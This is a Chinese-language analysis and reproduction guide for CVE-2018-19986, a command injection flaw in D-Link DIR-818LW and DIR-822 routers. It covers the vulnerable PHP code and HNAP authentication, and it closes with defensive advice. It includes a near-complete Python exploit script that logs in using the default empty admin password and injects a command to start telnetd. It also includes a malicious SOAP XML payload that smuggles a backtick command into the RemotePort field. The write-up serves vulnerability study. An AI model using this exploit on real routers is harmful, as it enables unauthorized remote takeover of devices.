路由器漏洞分析系列(5):CVE-2018-19986 DIR-818LW&828命令注入漏洞分析及复现
字数 1134 2025-08-27 12:33:42
D-Link DIR-818LW & DIR-828 命令注入漏洞(CVE-2018-19986)分析与复现指南
漏洞概述
CVE-2018-19986是D-Link DIR-818LW Rev.A 2.05.B03和DIR-822 B1 202KRb06路由器中存在的操作系统命令注入漏洞。通过HNAP1协议访问SetRouterSettings时,RemotePort参数未经适当检查直接用于构建系统命令,导致攻击者可执行任意命令。
漏洞原理
漏洞代码分析
漏洞存在于两个关键文件中:
- SetRouterSettings.php:
$path_inf_wan1 = XNODE_getpathbytarget("", "inf", "uid", $WAN1, 0); #$WAN1 = "WAN-1";
$nodebase="/runtime/hnap/SetRouterSettings/";
...
$remotePort = query($nodebase."RemotePort");
...
set($path_inf_wan1."/web", $remotePort);
- iptwan.php中的IPTWAN_build_command函数:
function IPTWAN_build_command($name){
$path = XNODE_getpathbytarget("", "inf", "uid", $name, 0);
...
$web = query($path."/web");
...
if (query($path."/inbfilter")!="")
fwrite("a",$_GLOBALS["START"], $iptcmd." -p tcp --dport ".$web." "."-j CK_INBOUND".$inbfn."\n");
fwrite("a",$_GLOBALS["START"], $iptcmd." -s ".$hostip." -p tcp --dport ".$web." -j ACCEPT\n");
...
}
漏洞触发流程
- 攻击者构造恶意SetRouterSettings.xml,在RemotePort参数中注入命令(如
telnetd) - 参数值被直接存储到
$path_inf_wan1."/web" - 该值随后作为iptables参数使用,未经过滤直接拼接进系统命令
- 恶意命令被系统执行
HNAP协议基础
HNAP协议简介
HNAP(Home Network Administration Protocol)是由Pure Networks开发、后由Cisco管理的协议,特点包括:
- 基于SOAP和HTTP
- 使用POST方式发送请求
- 在HTTP头中加入SOAPAction字段指定操作
- 请求发送至
http://[ip]/HNAP1/
HNAP认证流程
-
请求阶段:
- 客户端发送action为"request"的Login请求
- 服务器返回Challenge、Cookie和PublicKey
-
登录阶段:
- 客户端使用PublicKey和密码计算PrivateKey
- 用PrivateKey和Challenge计算登录密码
- 发送action为"login"的请求,包含计算出的密码
-
其他操作:
- 每个请求需要包含HNAP_AUTH头
- HNAP_AUTH由PrivateKey和SOAPAction计算得出
漏洞利用步骤
环境准备
- 目标设备:D-Link DIR-818LW Rev.A 2.05.B03或DIR-822 B1 202KRb06
- 攻击机:安装Python及requests、telnetlib库
利用脚本分析
import requests
import telnetlib
from hashlib import md5
import time
import math
# HMAC-MD5计算函数
def hmac_md5(key, msg):
# ...实现细节省略...
return md5(o_key_pad + md5(i_key_pad + msg).digest())
# HNAP认证头生成
def HNAP_AUTH(SOAPAction, privateKey):
b = math.floor(int(time.time())) % 2000000000
b = str(b)[:-2]
h = hmac_md5(privateKey, b + '"http://purenetworks.com/HNAP1/' + SOAPAction + '"').hexdigest().upper()
return h + " " + b
# 1. 初始设置
IP = '192.168.0.1'
adminPw = '' # 默认admin密码为空
command = "telnetd" # 要注入的命令
# 2. 构造Login请求获取Challenge
headers = {
"SOAPAction": '"http://purenetworks.com/HNAP1/Login"',
# ...其他头信息...
}
payload = '<?xml version="1.0"?><soap:Envelope...<Action>request</Action>...</soap:Envelope>'
r = requests.post('http://' + IP + '/HNAP1/', headers=headers, data=payload)
# 3. 从响应中提取认证要素
challenge = str(data[data.find("<Challenge>")+11:data.find("</Challenge>")])
cookie = data[data.find("<Cookie>")+8:data.find("</Cookie>")]
publicKey = str(data[data.find("<PublicKey>")+11:data.find("</PublicKey>")])
# 4. 计算认证凭证
privateKey = hmac_md5(publicKey + adminPw, challenge).hexdigest().upper()
password = hmac_md5(privateKey, challenge).hexdigest().upper()
# 5. 发送登录请求
headers["HNAP_AUTH"] = HNAP_AUTH("Login", privateKey)
headers["Cookie"] = "uid=" + cookie
payload = '<?xml version="1.0"?><soap:Envelope...<Action>login</Action>...<LoginPassword>' + password + '</LoginPassword>...</soap:Envelope>'
r = requests.post('http://' + IP + '/HNAP1/', headers=headers, data=payload)
# 6. 发送恶意SetRouterSettings请求
headers["HNAP_AUTH"] = HNAP_AUTH("SetRouterSettings", privateKey)
headers["SOAPaction"] = '"http://purenetworks.com/HNAP1/SetRouterSettings"'
payload = open('{}.xml'.format("CVE-2018-19986")).read().replace('ip', IP).replace('COMMAND', command)
r = requests.post('http://' + IP + '/HNAP1/', headers=headers, data=payload)
# 7. 连接开启的telnet服务
time.sleep(30) # 等待命令执行
telnetlib.Telnet(IP).interact()
恶意XML示例
<!-- SetRouterSettings.xml -->
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetRouterSettings xmlns="http://purenetworks.com/HNAP1/">
<!-- 在RemotePort参数中注入命令 -->
<RemotePort>80`COMMAND`</RemotePort>
<!-- 其他正常参数 -->
<VPNPassthrough>1</VPNPassthrough>
<IPSECPassthrough>1</IPSECPassthrough>
<PPTPPassthrough>1</PPTPPassthrough>
<L2TPPassthrough>1</L2TPPassthrough>
</SetRouterSettings>
</soap:Body>
</soap:Envelope>
防御措施
-
厂商修复:
- 对用户输入进行严格过滤和验证
- 使用白名单限制RemotePort参数的取值范围
- 避免直接将用户输入拼接进系统命令
-
用户防护:
- 及时更新固件到最新版本
- 禁用不必要的远程管理功能
- 修改默认管理员密码